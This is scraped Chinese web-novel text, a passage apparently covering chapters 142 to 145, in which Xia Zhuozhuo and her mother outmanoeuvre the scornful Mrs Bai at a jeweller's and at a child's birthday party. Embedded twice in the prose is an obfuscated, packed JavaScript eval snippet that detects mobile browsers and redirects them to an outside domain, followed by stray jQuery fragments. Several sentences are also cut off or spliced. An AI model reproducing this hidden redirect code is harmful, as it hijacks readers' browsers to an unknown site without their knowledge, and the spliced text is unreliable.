;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15204466|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的异样怎么办? 毕竟一个破产了的家庭是轻易不会送这么贵重的手链的。 一百多万不是一笔小数目。 夏灼灼的话及时点醒了她。 夏太太只觉后背一阵凉意她差点弄巧成拙给自己和那人惹上麻烦了。 她立马就将手链放回了玻璃柜上。 “不好意思我们不要了。” 柜姐本来以为能成交一笔大额单子了一听这话脸上的笑容便有些僵硬。 就在这时一道熟悉的声音响起。 “哟穗香现在连一条手链都买不起了吗?” 夏灼灼和夏太太同时扭头朝声音响起的方向看去。 不是别人 正是上次在美容院遇到过一次的白太太。 看到白太太,夏太太的表情就有点不太好看。 正要直接离开,白太太却迎了上来,热情地拉住她的手。 “你早说啊,家里这么拮据,我可以借钱给你。你喜欢这条手链是吗?我送给你了,也不枉我们家两个孩子曾经交往过。” 说罢,白太太对柜姐说:“包起来,我帮她们买了。” “好的,这位太太。”柜姐脸上的笑容重新恢复灿烂。 “不用。” 夏太太黑着脸说:“我不喜欢这条手链,也不需要你帮我买单。” 看夏太太表情不好,白太太脸上的笑容愈发松快。 “这么客气干什么?不过是一百多万而已,不算什么的。你们家还缺什么?我顺便一起帮你们买了。缺米吗?地下一层有个超市,我帮你们买点生活用品。” “你——”夏太太气得脸色大变。 正要骂过去,夏灼灼突然开口:“白阿姨,听说你侄子受伤了,不知道他现在好些了没有?” 提到白念城,白太太脸上的笑容骤然散去。 白念城是不可能好的。 他已经被废了,哪怕及时救回了一条命,以后也永远不能人道,不可能有自己的孩子了。 她的小叔子得知此事,全家都赖在他们家不肯走。 他们不得已,只能答应把白念城当儿子养,并且给了小叔子一家一大笔赔偿费。 现在人没娶到,还作为男人被废了,以后都不可能是个完整男人了。 可偏偏,是白念城犯事在先,还打伤了许多沪城的高门子弟。 他们非但不能报警,还只能上门一一道歉。 她丈夫白季勇为此大发雷霆,差点就要跟她闹离婚。 毕竟当初就是她怂恿丈夫答应,让白念城去接近夏灼灼,把她娶回家。 现在夏灼灼哪壶不开提哪壶,她哪里还笑得出来? 夏灼灼却是笑得开怀。 “看来他的伤还没好。白阿姨有这个时间,不如多照顾照顾他,少出来逛街。你对我们有亏欠,我理解,但你还是先顾好自己家里的事吧。” 轻飘飘看似关怀的三两句话,却比刚才白太太的明嘲暗讽攻击力更足。 她的脸色变了又变,几乎要站不稳了。 夏太太见状,疑惑地朝她望过来,眼底满是不解。 她不知道为什么夏灼灼关心了一下白太太的侄子,白太太的反应会这么大。 简直快要被气得七窍生烟了。 不过虽然不知道原因,但她心里很是痛快。 第142章 替她报复 夏太太想到,自己的儿子出事后,白家没有一个人来探望。 后来见到他们家的人,白家都会绕道走。 人都是自私的,她虽然不赞成白家的忘恩负义,但也可以理解。 理解他们不愿意把自己捧在心上的宝贝女儿嫁给一个瘫子。 就像她一样,希望自己的灼灼能嫁给最好的男人。 所以哪怕如此,他们仍旧未跟白家讨要什么,也不会主动跟他们结仇。 结果夏家“破产”之后,白太太竟然非但不想着帮忙,还三番两次讽刺他们。 她很想告诉他们,他们夏家好得很! 可是她不能。 一旦告诉他们,她跟丈夫长久以来的计划都会泡汤,后果不堪设想。 所以每次在白太太面前吃瘪,她都只能忍着。 直到今天,灼灼好好地给她出了一口恶气。 真是痛快! 这是很久以来的第一次,夏太太面对白家人的时候,感到了轻松愉快。 她的宝贝女儿,果真是她的小福星。 夏灼灼感觉到夏太太从刚才的紧绷到现在完全放松下来了。 目的达成,她笑容满面地搂住夏太太的胳膊,转而对白太太说:“白阿姨,我们就先走了,您早点逛完回去照顾你侄子吧。他现在可不能长时间离开人,免得想不开,连命都没了。” “你——” 那边白太太的脸色阴沉如水。 她很想狠狠扇夏灼灼一个耳光。 可理智告诉她,她不能对夏灼灼动手。 至少明面上不能。 白念城的事情让他们清楚地意识到,司慎行是真的打算护着夏灼灼了,她不能跟夏家硬碰硬。 于是只能生生咽下这口恶气,死死盯着夏灼灼。 仿佛想用眼神把夏灼灼杀死。 但眼神是杀不死人的,夏灼灼连一丝痛痒都感觉不到,带着夏太太走了。 “该死的小贱人!你早晚会落到我手里!” 白太太气得咬牙切齿。 柜姐被白太太狰狞的脸色吓了一跳。 可想到自己这个月的业绩还没达成,她还是大着胆子问:“这位太太,这条手链还要帮您包起来吗?” 白太太下意识要说“不要”。 她本来就没打算为宁穗香买单,不过是故意气她罢了。 谁让他们家总是一副受害者的模样,害得外界人都在背地里骂她女儿是白眼狼呢? 男婚女嫁, 图的是两相情愿。 小芙原本就不爱夏怀征是夏怀征自己要当舔狗。 凭什么最后罪责都要归到她女儿身上? 英雄救美夏怀征问过小芙她需不需要他救吗? 万一那天夏怀征不出手小芙也不会有什么大事呢? 她才不会眼巴巴为宁穗香买下手链送过去。 宁穗香现在可配不上这么贵重的礼物。 可转念想到自己今天也是来给人挑礼物的 不得不承认宁穗香的眼光确实是好。 这条手链精致独特价格也配得上她要送礼的人。 再看柜台其他的首饰好像都不如这条合心意。 于是白太太开口:“帮我包起来吧包装弄好一点我送人的。” “好的太太。” 柜姐微笑着点头带着手链去包装台包装。 然而就在这时店里的店长走了过来在柜姐耳边耳语了几句。 柜姐脸色一变立即点头应“是”随即走到白太太面前。 “不好意思太太我们家今天打烊了这条手链不能卖给您了您改天再来吧。” 白太太当即拧起眉仿佛不相信自己所听到的。 “这才几点?你们才刚开门几个小时?就要打烊了?而且就算打烊包好我这条手链能花多少时间?你们是做生意的吗?你们疯了吧?” 但柜姐还是那句:“实在不好意思您改天再来吧。” 白太太几乎要跳起来。 “你这个人!什么服务态度?你们店长呢?叫他过来!我要投诉你!” 店长很快过来了脸上挂着标志性的笑容但说出来的话跟刚才那个柜姐如出一辙。 “太太不好意思我们打烊了。” “你们、你们……” 白太太气得不行可不论是柜姐还是店长都不再管她直接去打扫卫生准备关门了。 白太太几乎是被赶出来的。 她从未在逛街的时候受够这种待遇。 白家有钱也有权她走到哪家店不是被奉为座上宾? 她正要跟这家店没完手下走上前提醒:“太太咱们只有一个小时的时间了一个小时后咱们必须得出发了。” 白太太闭了闭眼强压下内心的怒火沉着脸走了。 这家店不做她的生意? 好那他们永远别想挣到他们白家一分钱了! 白太太怒气冲冲地走了没注意到不远处一家商铺前两双眼睛正盯着她瞧。 不是别人正是司慎行和阿麦。 他们两个人也是来为人挑选礼物的正巧看到了白太太讥讽夏太太和夏灼灼的一幕。 更巧的是这家商场是S集团旗下的。 他不让他们卖手链给白太太白太太就算花十倍的价格也买不到半条手链。 而且不只是这一家珠宝店 “少爷。”阿麦出声提醒:“夏小姐她们往楼下去了咱们要过去跟她们打声招呼吗?” “不必了。”司慎行道。 夏灼灼不想见他那他……就暂时不要出现在她的面前好了。 他得先弄清楚要怎么追女孩。 否则只会适得其反。 “那咱们上楼去吧。” 司慎行“嗯”了声去了楼上商场办公层。 这一层有个SVIP接待区。 司慎行不需要自己亲自挑选礼物只要说出自己的要求商场负责人自然会挑选符合条件的礼物送到接待区让他坐在沙发上就能“逛”完街。 如果是买衣服也有会符合他要求身量的模特为他进行试穿。 至于刚才看到夏灼灼被欺负那一幕纯属电梯出现故障凑巧而已。 …… 另一边夏灼灼带着夏太太去了一楼。 下扶梯的过程中夏灼灼的余光瞥见了司慎行。 这个世界怎么突然变得好小? 不过她只当没看到跟夏太太提议道:“礼物不分贵贱心意最重要。既然是小朋友的生日那咱们不如亲手做个蛋糕吧?” 一楼就有个自制蛋糕的店。 夏太太想了想的确也是这么个道理。 对方不缺钱再贵的礼物也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15204467|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不一定能激起对方心里半点涟漪。 还说不定会引起别人的怀疑。 那就送个有心意的。 “那咱们就去做蛋糕吧。” 夏太太喜欢做烘焙夏灼灼也是心灵手巧的人。 蛋糕胚是现成的只需要自己用奶油制作成品就好。 在两人的精心制作下一个漂亮的蛋糕横空出世。 店长惊叹地走上前。 “你们是我开店以来见过做蛋糕做得最漂亮的简直就是专业水准。你们不会是同行吧?” 两人含笑说不是。 店长道:“那我帮 两位打包起来,有打包上的需求吗?” 夏灼灼说:“不用透明包装盒,用纸盒,我想给小朋友一个惊喜。” “好的,没问题。” 很快蛋糕打包好,准备出发了,可夏太太有些犹豫。 “只带一个蛋糕过去,会不会太寒酸了点?” 夏灼灼道:“别担心,我还准备了别的礼物。” 说话间,夏管家把车子停了下来,叫夏太太稍等之后便下车了。 夏太太疑惑地看了眼夏灼灼。 “夏管家去做什么?” 夏灼灼笑道:“去拿我准备的其他的礼物了。” 夏太太更疑惑。 不多时,夏管家回来了。 手里拿着一个檀木匣子,匣子不过几寸大小,扁平状,看不出里面装了什么。 “妈,您打开看看。” 夏太太点头,打开了箱子的锁。 里面放着的物件让夏太太眼睛瞬时一亮。 “这是不是……” “是。”夏灼灼替她合上箱子:“正好我有个朋友跟我提过这东西,我想这个礼物应该不会跟别人的重合,您觉得呢?” 夏太太连连点头。 “这礼物很好。” 她张了张嘴,心里有很多问题要问。 比如,夏灼灼是如何得到这个东西的? 这东西不是被收藏家收藏起来了吗? 可话到嘴边,夏太太还是都咽了回去。 还是那个原因:父母要允许孩子有自己的秘密。 等到夏灼灼愿意说的时候,她再好好听吧。 车子一路前行,夏太太心里异常平静。 原本还因为自己只带了一个蛋糕怕太寒酸的她,现在一点儿也不这么觉得了。 灼灼准备的另一件礼物,是一个无价之宝。 有钱也买不到。 她犹豫了下,跟夏灼灼介绍了今天赴宴的主人家。 “他是负责审理你爸爸案子的,我托了朋友,今天才能过来。” 夏灼灼点头,并没多问什么。 …… 半小时后,车子停在了一栋三层别墅门口。 别墅外面已经停满了各色的豪车。 夏灼灼扶着夏太太下车,一扭头,就看到了在商场遇到过的白太太。 三人见面,白太太眼底有明显的惊讶。 但很快她就别开了眼,像是没看到她们似的,走到前头率先进了门。 夏灼灼和夏太太也当做没看到她,紧跟着进门去。 看得出来,冯家原本并没打算大办儿子的十岁生日宴,客厅里只放了几个小气球,除此之外,看不出办生日的痕迹。 第143章 夏家,大势已去? 毫无氛围的生日宴。 看得出来在场很多人都是不请自来。 三个主人家在此时全都没露脸 夏灼灼瞥见除了白太太之外还有好几个熟人。 其中就有杜浩然兄妹两个。 杜浩然像是没休息好眼下两片明显的青色。 但在看到夏灼灼后眼睛瞬时一亮。 他朝夏灼灼走了过来。 “神医小姐你也来参加生日宴?” “我陪我妈来的。”夏灼灼声音淡淡明显是在敷衍。 但杜浩然仿佛没察觉出她的赴宴继续跟她聊些有的没的。 夏灼灼不胜其烦找了个借口拉着夏太太走开了。 夏太太疑惑地低声询问:“杜家的那个跟你……?” “没有任何关系。” “那个杜浩然不是好人。”夏太太还是补了这么一句。 夏灼灼点头:“我知道。” 夏太太放心了。 夏家虽然跟杜家算是破冰了可她不喜欢杜家这个孙子。 太轻浮看着不像是个有责任感的好男人。 当初夏琉璃跟他在一起她就不看好杜浩然。 现在因为夏琉璃抛弃夏家的举动更不喜杜浩然。 她不希望灼灼跟杜浩然走得太近。 好在女儿跟养女不一样并不拿杜浩然当一回事省了她说好些劝说的话。 而杜浩然那边见夏灼灼有意无意避开他心中颇有些懊丧。 杜馨月见状嗤之以鼻。 “哥你别告诉我你对夏灼灼有想法。” 自打那天在药材铺药材被夏灼灼抢了她看夏灼灼就眼睛不是眼睛鼻子不是鼻子。 这样一个女人做她嫂子她可是不愿意的。 她宁愿自己的嫂子是夏琉璃。 虽然夏琉璃也不是什么好货色但好歹夏琉璃懂得察言观色处处让着她捧着她说些中听的漂亮话。 杜浩然瞥过去。 “我的事情跟你没关系你有闲心管我不如管管你自己那位。爸妈对他可是很不满意而且我听说他已经快半个月居家办公没去公司了?” “哪有半个月一周而已。他的手受伤了不能居家办公吗?” 杜浩然懒得管她。 反正他是看不上江泽的。 山里飞出来的凤凰哪里是凤凰就是一只上不了台面的麻雀。 他只是搞不懂,向来眼光高的妹妹,怎么就看上了江泽。 除了空有一副好皮囊,什么优点都没有。 杜家连夏琉璃都不能接受,何况是江泽? “随便你!”他说。 反正最后,他这个妹妹的价值也不过是为了家族利益去联姻,早晚要跟江泽分开。 杜馨月不爽他对江泽的态度,不由得多了一句嘴:“你这辈子是要栽在夏家女儿的手里了吗?上辈子你欠夏家的吗?你就非得扒着夏家的女儿不放?” “我说了,我的事情跟你无关。” 杜馨月“切”了一声,没说话了。 杜浩然也懒得跟她斗嘴,又朝夏灼灼那边走过去。 …… 与此同时,楼上书房里。 冯邵阳对越来越多宾客的到来不胜其烦。 “也不知道他们是怎么知道安安今天生日的,一个两个都挤过来。” 冯太太无奈一笑。 “谁让你正好在这个时候被调到这边?客人来都来了,咱们一直晾着他们也不是个事儿,带安安一起下去吧?早点散席就是了。” 冯邵阳很坚定。 他作为中立派,最忌讳跟任何一派的人走得太近。 现在来的客人,不是窦派的,就是党派的。 他跟任何一方走太近都不好。 “我不下去,你就说我水土不服,身体不适,今天就不露面了。你随便招待他们一下,用了午饭就让他们走吧。” “这样好吗?” “反正比我下去招待好。只是辛苦你了。” 冯太太摇摇头:“夫妻之间说这个干什么?那我带着安安下去了。” “去吧。” 冯邵阳捧起一本书,静静看了起来。 楼下的热闹全与他无关。 很快冯太太就牵了冯淮安下楼。 两人一现身,客人就一股脑地挤了上去。 “安安,生日快啊!” “冯太太,想不到你这么年轻,简直像没生过孩子似的。” 冯太太也不喜欢交际,笑得勉强。 众人继续夸着冯太太,不忘送上带来的礼物。 一件两件,都是价值连城的。 冯太太却是婉拒了。 “今天没打算办生日宴,怎么好收你们的礼物?还请各位带回去吧。” 说话间,她隐约瞥见了一道熟悉的身影。 等定睛一看,那道身影已经不见了。 是她看错了吗? 就在这时白太太挤到冯太太面前。 “暖暖啊别人的礼物你不收我的可不能不收。咱们两个也算是旧相识了这礼物是庆贺你搬来沪城住没别的意思你可千万要收下。” 说话间她不顾冯太太的拒绝直接将礼物塞到了她的手里。 白季勇之前是在京都工作的也是这两个月才调回来。 两个人在京都就见过几次只不过还称不上旧相识。 冯太太收也不是不收也不是。 犹豫间其他人见状也忙把礼物塞过来。 “冯太太你收了白太太的礼物怎么能不收我的?” “冯太太小小心意给孩子的你收下吧!” 有白太太的打头阵其他人也不甘于人后拼命把礼物往冯太太怀里塞。 冯太太也是个不擅长交际的人加上还年轻丈夫不在她顿时没了主意。 一个晃神怀里已经塞满了礼物。 只好让佣人先收起来等之后再把礼物一一退回去。 宁穗香也在这时走了上来。 她手里拎着一个蛋糕声线柔和地说:“冯太太我是夏家的你叫我穗香就好。我也不知道该送什么 听到只是蛋糕冯太太脸上没有为难之色冲她点点头:“多谢你夏太太蛋糕我收下了。” 跟别人的礼物不同冯太太主动接了宁穗香的礼物。 横竖一个蛋糕而已不算什么不能收的贵重东西丈夫知道她收下了也不会怪她。 而且既然是对方亲手做的也是一片真心实意。 白太太见状心里觉得很是好笑。 买不起上百万的手链好歹送个几万块的名牌包啊。 一个小小的蛋糕不过百来块钱也好意思拿来送? 想到自己在商场吃的瘪本就对夏家很不爽的她顿时开口嘲讽。 “哎哟穗香啊你怎么只是送了个蛋糕来?不知道的还以为夏家现在连个像样的礼物都送不起了。” 众人纷纷看过来眼露嘲讽 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白太太一噎,正欲说点什么哄骗孩子松开那蛋糕,就听冯太太说:“这是夏阿姨的心意,妈妈不退。” “那我现在就要吃。” 冯太太不好意思地看向宁穗香问:“夏太太,孩子嘴馋,让你见笑了。” “怎么会?他既然喜欢吃,那不如现在就切开吃一块。我尝过的,这家店的奶油甜而不腻,很适合小朋友吃。” 冯太太点头,叫佣人推来一个小台子。 蛋糕盒被打开,露出里面的蛋糕。 只见蛋糕以《小王子》为主题。 卡通人物的小王子躺在栩栩如生的玫瑰花丛里,精致地不像话。 不用提夏淮安,在场所有人都被惊艳到了。 他们不是没见过更好看的蛋糕,但这可是夏太太亲手做的,他们没有一个能做出如此精致的蛋糕。 “好漂亮的蛋糕。”冯太太惊喜地问:“夏太太,这是你亲手做的?” 夏太太点头:“这是我跟我女儿一起完成的,不过大多是她动的手。我只是在旁边帮忙。” “好巧的手。你女儿没有过来吗?” 宁穗香头一转,没看到夏灼灼的人影。 奇怪,灼灼去哪儿了? 明明刚才还在这儿。 “她来了……就是不知道去哪儿了。” 夏灼灼是去躲杜浩然了。 他跟个苍蝇似的围着她转,她不胜其烦,避到别墅后面的小花园去了。 夏淮安才不管什么女儿妈妈的,扯着冯太太的袖子。 “妈,我要吃,我现在就要吃!” 冯太太微笑点头,切了一块蛋糕给冯淮安。 冯淮安尝了一口,喜不自胜。 “奶油,好好次,安安喜欢次!” 好吃到他说话都说不清楚了。 “多切几块,给大家分一分吧。”冯太太笑道。 佣人应声,很快给每个人都分了一些。 白太太被塞了一小块蛋糕,脸上的表情可以说是非常难看了。 她花了一百多万讨冯太太的欢心,竟不如这百来块的蛋糕让冯太太和冯淮安欢喜! 亏她刚才还嘲讽宁穗香只带了个廉价的蛋糕,现在冯太太脸上满意的表情,就像是有一只无形的大手在打她的脸。 第144章 原来她是冯家的恩人 白太太气得表情都有些扭曲了。 她就搞不懂了冯家也不是普通人家身居高位那么多年冯太太自己也是家境优渥。 怎么会被一个小小的蛋糕迷了眼? 白太太不懂的是正是因为身居高位所以才不在乎礼物价值的贵重。 他们什么好东西没见过? 加上冯邵阳是中立派礼物送太贵反而让他不安。 倒是亲手制作的蛋糕既代表了心意又不会让冯家人为难。 加上今天是小孩子的生日冯淮安才是主角大家都只顾着讨好大人却忽略了孩子。 别看只是一个蛋糕却是摸透了冯家人的性格。 所以宁穗香的这个蛋糕才送到了冯太太的心里去。 像白太太这种只会用金钱堆砌感情的人自然不懂这一点 但白太太想不通不代表在场没有想通的人。 于是开始有人夸赞宁穗香。 “还以为是夏家人蠢没想到蠢的是我们自己。” “夏太太这一手真是漂亮啊。” 白太太越听越气。 送个蛋糕而已有什么好漂亮的? 简直可笑! 她气得待不下去了找了个借口很快离开了。 反正他们白季勇的职务不比冯邵阳低她露个面示好一下就够了犯不着热脸贴人家的冷屁股。 白太太走后气氛反而更加和睦。 其他人也转而开始讨好小朋友夸冯淮安长得好看着就聪明。 冯太太不喜欢别人对她阿谀奉承但当妈的都喜欢听别人夸自己的孩子。 她脸上渐渐有了真心的笑容。 “夏太太。” 冯太太来到宁穗香面前:“谢谢你送的蛋糕。说句实话我今天没想到会来这么多人还打算带着淮安出去吃所以也就没买蛋糕。这不你一送蛋糕安安高兴坏了。” 宁穗香笑着说:“安安喜欢就好。” 面上平静心里却是长出了一口气。 庆幸自己没买下那条手链而是听了灼灼的亲手制作了个蛋糕送过来。 否则她的下场跟白太太的下场也差不多。 礼物只会被草草堆在客厅的角落。 冯太太也不会主动来找她说话。 “刚才听你说冯先生身体不适需要找医生吗?我女儿的医术还不错如果有需要我可以让她给冯先生看看。” 身体不适 只是推词,冯太太笑着说不用了。 “只是水土不服,过两天适应回来就好了。” 宁穗香点头,突然不知道该说什么了。 她跟冯家人是第一次见,一时找不到话题。 眼看着冯太太要去招呼别人了,夏灼灼回来了。 夏灼灼刚才出去,一是避开烦人的“苍蝇”,二是接到了金虎打过来的电话。 虎头帮已经做完了切割,可以经得起查了。 明天开始,暗部就会以虎头帮的名义开始活动。 听完这个好消息,夏灼灼的心情好了一些,笑容满面地回来了。 宁穗香一眼就看到了自家的女儿。 不像其他人打扮隆重,只是简单的黑白穿搭,就让人过目难忘。 “灼灼!快来。” 宁穗香朝夏灼灼招手,随即跟冯太太介绍:“这就是我的女儿,夏灼灼。” 听到这个名字,冯太太骤然朝宁穗香招手的方向看过去。 鹅蛋小脸,明眸皓齿,这不就是她跟儿子的救命恩人吗? 夏灼灼正好走了过来。 冯太太近距离看到那张熟悉的脸,确认自己没认错之后,眼睛瞬间就亮了起来。 “是你……” 夏灼灼疑惑地望过来,看到冯太太和冯淮安,眼底也浮现出惊讶的神色。 “是你。” 她顺手救过两次的母子。 冯太太连忙点头,眼中满是惊喜。 “没想到你就是夏太太的女儿。” 说罢,拉过冯淮安就介绍:“这就是妈妈跟你说的那位天使姐姐。你吃的那个蛋糕,也是天使姐姐给你做的喔。” 冯淮安顿时顾不上吃蛋糕了。 这位天使姐姐,可是救了他和他妈妈的命的。 他虽然还有小孩子的贪吃,却也有大人的懂事。 他知道,如果不是这个天使姐姐,他和他妈妈可能都没命了。 所以,他才叫她天使姐姐。 “谢谢你,天使姐姐,你长得真的跟天使一样漂亮诶……而且,身上还没有难闻的味道。” 难闻的味道,是指香水味。 刚才夸赞他的那些太太身上或多或少都有香水味,他不喜欢。 夏灼灼已经从惊讶中回过神来了。 怪不得司慎行说,救了这个女人,她不会后悔的。 原来是这么一回事。 她伸手捏了捏冯淮安的小脸蛋,问:“小朋友,你身体怎么样了?” 冯淮安自诩是个小男子汉不喜欢别人捏他脸。 捏了脸就会闹脾气。 佣人见状都为夏灼灼捏一把汗。 冯太太也下意识要去阻止但已经来不及。 夏灼灼已经感受到到了很好rua的触感。 然而出乎佣人们和冯太太意料之外的是冯淮安非但没有闹脾气反而小脸飘上两抹粉云。 他不自在地别开脸说:“窝、窝很好!窝一直想见你……窝现在一口气能吃完一整个蛋糕!可惜已经被妈妈分完了……天使姐姐以后你还能给窝做蛋糕吗?” 夏灼灼一向很喜欢小孩子小孩子代表着赤纯、天真。 加上这又是她亲手救回来的小病患因而格外柔和一些。 “好啊不过甜食不能多吃会蛀牙。我给你做点不太甜但是一样好吃的饼干怎么样?” “好好好。”冯淮安连连点头。 冯太太放心了。 “看来安安很喜欢你。” 夏灼灼莞尔一笑。 旁边的宁穗香目瞪口呆地看着这一幕。 她忍不住问:“灼灼你认识冯太太和安安?” 夏灼灼还没开口冯太太已经为夏灼灼解释了。 “夏小姐救过我们娘俩。有一次安安摔了一跤全身抽搐如果不是夏小姐正好路过相助后果不堪设想……医生也说是安安得到了及时的救助才没有生命危险。还有一次……” 夏灼灼忙打断冯太太。 “冯太太过去的事情就不提了。我们今天来是为了庆贺安安十岁生日的。只是我没想到你就是我们要见的人。” 冯太太脑子转得快反应过来夏灼灼是怕夏太太担心。 毕竟台风那次车祸真的太凶险了。 但凡夏灼灼不出手她一定会被烧死。 到现 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她猜到夏家母女想见自己的丈夫,于是说:“他有点水土不服,夏小姐医术超群,一会儿等其他客人们走了,能为我老公看看吗?” 夏灼灼含笑说:“当然可以。” 旁边的夏太太再次瞠目结舌。 她还没开口呢,事情居然已经成了? 这是什么天赐机缘? 她的宝贝女儿的确是她的福星。 哦不,是整个夏家的福星。 事情商定后,冯太太便去接待其他的宾客了。 她虽然不喜欢交际,但大家来都来了,她不能真晾着人家。 表面功夫要做足。 冯太太走后,夏灼灼和夏太太便找了个角落坐下。 面前来来往往走过数个宾客,只是没有一个人主动跟她们母女打招呼。 甚至,路过她们时还投过来轻鄙的目光。 仿佛她们是什么下贱的人。 夏太太自打夏家“破产”后就没再出门交际,这是第一次。 虽然早已经料到会是这样,但是心里多少还是感到了一些落差,还有些不平。 今天来的,不少人都受过夏家的照拂。 夏家遇上事之后,他们却直接换了副脸面。 可谓是真切感受到了什么叫世态炎凉。 夏灼灼感觉出夏太太情绪的低落,她握住夏太太的手。 “妈,一切都会好起来的。” 夏太太定了定心,弯唇微笑:“嗯。” 一切都会好起来的。 哪怕现在是低谷期,可上天把她的宝贝女儿送回来了不是吗? 老天对她还是很公平的。 母女俩安安静静坐在角落,仿佛是两个透明人。 反观杜馨月,她虽然也只是个宾客,却被其他宾客众星捧月般围着。 看到夏灼灼被众人冷落、轻视,杜馨月的心情很不错。 之前跟她抢药材的时候的气势呢? 现在怎么不见她拿出来了? 正准备上去讥讽几句,突然有人说:“这不是司先生吗?他也来了?” 杜馨月下意识朝门口看去。 只见逆光走来的男人身形高大,脊背挺拔,一张英俊的脸棱角分明,宛若神邸降世。 她的心跳不自觉快了一拍。 第145章 司慎行,一如既往的惹眼 是司慎行。 他还是一如往常地……惹眼。 冯太太也看到了司慎行连忙上去迎接。 “你怎么来了?来之前也不说一声快进来。”冯太太语气熟稔。 因为冯邵阳跟司慎行是忘年交。 两人好多年前就认识了。 也正因如此冯邵阳让自己妻儿先来沪城之后 司慎行道:“我来祝安安生日快乐。安安又大一岁了以后就是男子汉了。” 冯淮安动了动鼻子很自豪地说:“窝是男子汉窝以后要保护麻麻!” 略带奶气的声音引得司慎行笑了两声。 有杜馨月的小姐妹开口低声奉承:“一眼看去馨月你跟司先生看来还真般配呢。你们两家有项目在合作你不借着这个机会近水楼台先得月吗?” 杜馨月的脸骤然红了起来。 像司慎行这样的男人年轻、英俊、多金承载着无数少女的梦哪个女孩不心动呢? 但她故作镇定正要说话另一个小姐妹说:“别乱点鸳鸯谱馨月可是已经有男朋友了。” 杜馨月表情一僵脸上的温度迅速褪去。 只听另一个人接话道:“是哦馨月的男朋友长得也很帅只是最近怎么没见到他?” 杜馨月敷衍地回答:“他手受伤了。” “可惜了不然今天你还能带他一起过来。” 杜馨月扯了下唇没说话。 平时别人提起江泽她心里都是甜滋滋的因为江泽真的长得很英俊。 当初也正是因为江泽那张脸她对他一见钟情。 可最近江泽变得很奇怪一直推脱不肯见她。 异地恋一般的恋情逐渐遇冷。 加上有司慎行这样近乎完美的男人做对比她莫名不想听她们提江泽。 就在这时一个小姐妹低声惊呼:“司慎行朝咱们走过来了。” 杜馨月下意识抬眼看过去果然看到司慎行正朝她的方向走。 一开始说话的那个小姐妹激动地扯了扯杜馨月的袖子。 “馨月你瞧他是来找你的他对你有意思。” 杜馨月心跳如鼓。 司慎行……真的对她有意思吗? 理智告诉她这不可能。 司慎行不是第一次见她从来都没有表现出对她有任何好感。 可听着姐妹们笃定的语气她的心不禁也乱了。 她向来是个看脸的人所以她当初一头扎进了江泽的怀抱。 可司慎行的出现仿佛一盆水泼醒了她。 她跟江泽不合适。 虽然她许诺江泽很快就会跟父母提起他们的婚事但她心里很清楚这不可能爸妈和爷爷都不可能答应。 只是这个想法一直被她压着。 现在看到司慎行朝自己走过来她没由来得想到这些乱七八糟的事。 她甚至开始想如果她跟司慎行在一起爸妈和爷爷都不会有意见反而会很高兴。 脑子思绪正乱着司慎行距离她已经只有一米的距离。 她心跳大乱正不知道该怎么开口打招呼只听司慎行嗓音冰冷地开口:“让一让你们挡住我的路了。” 杜馨月表情一僵下意识看了眼左右。 别墅的客厅说大不大她们几个站在茶几旁边正好挡住了去路。 她突然如醍醐灌顶般意识到—— 司慎行根本不是朝她过来的。 他也从来对她没有生出过任何好感。 是她的虚荣心蒙蔽了她的理智。 不不对是她那几个长舌头的“闺蜜”让她犯了糊涂。 想到这 司慎行从她们身边走过去大家都闻到了他身上好闻的清冽松香。 杜馨月不自觉地攥紧了拳头。 那个女生吓得不知如何是好只一味地道歉。 “对不起馨月我弄错了……” 杜馨月冷冷开口:“以后再这么长舌头我叫人帮你把舌头剪了免得你乱说话!” 女生吓得缩紧了脖子脸色苍白。 她也没想到司慎行只是路过。 杜馨月又狠狠剐了那女生一眼继而眼神不自觉地追随司慎行而去。 只见司慎行径直朝某个角落走去。 而那个角落里只有两个人。 夏灼灼和夏太太。 司慎行居然是去找她们? 这段时间她也听说过外界传言司慎行跟夏灼灼有一桩娃娃亲。 她当时听了嗤之以鼻。 夏家是落魄的凤凰不如鸡司慎行是看不上夏灼灼的。 别说只是娃娃亲了就算是已经订婚这婚约也得取消。 可现实却狠狠打了她一巴掌。 司慎行似乎是真的承认夏灼灼是他的未婚妻! 她瞪大了眼睛心里盛满了火气恨不能用眼神杀死夏灼灼。 这一刻她全然忘记了自己已经有江泽这个男朋友了。 甚至觉得 人就是这样不论男女一旦对一个人有了占有欲那么其他任何靠近的人都会让人疯魔。 哪怕这个人从始至终都不属于她。 只是不论她这边的眼神如何冰冷怨毒夏灼灼都没有任何感觉。 因为她根本没注意杜馨月那边的情况。 或者说打从她来到冯家开始她就没关注过杜馨月。 只有不如别人的人才会格外关注对方处处要跟对方较量。 夏灼灼从未把杜馨月视为对手所以根本不关注她。 她只是很认真地在舀碗里的冰乳酪。 冰乳酪是冯家的佣人做的。 他们没想到会来这么多宾客所以压根来不及订甜点好在佣人心灵手巧做了很多冰乳酪给客人。 夏灼灼尝过一口觉得好吃就认认真真吃了起来。 也是借这个打发时间等宴席散场。 却在这时候面前突然罩下一片阴影。 她下意识抬头就看到一双熟悉的深邃黑眸。 是司慎行。 夏灼灼眼神有一瞬间的放空以为自己出现幻觉了。 直到司慎行开口跟她的妈妈打招呼:“伯母。” 夏太太满眼惊喜。 “想不到你也来了。” 两人攀谈起来聊的无非是夏太太的身体情况。 他话里话外表现出明显的关心让夏太太很受用。 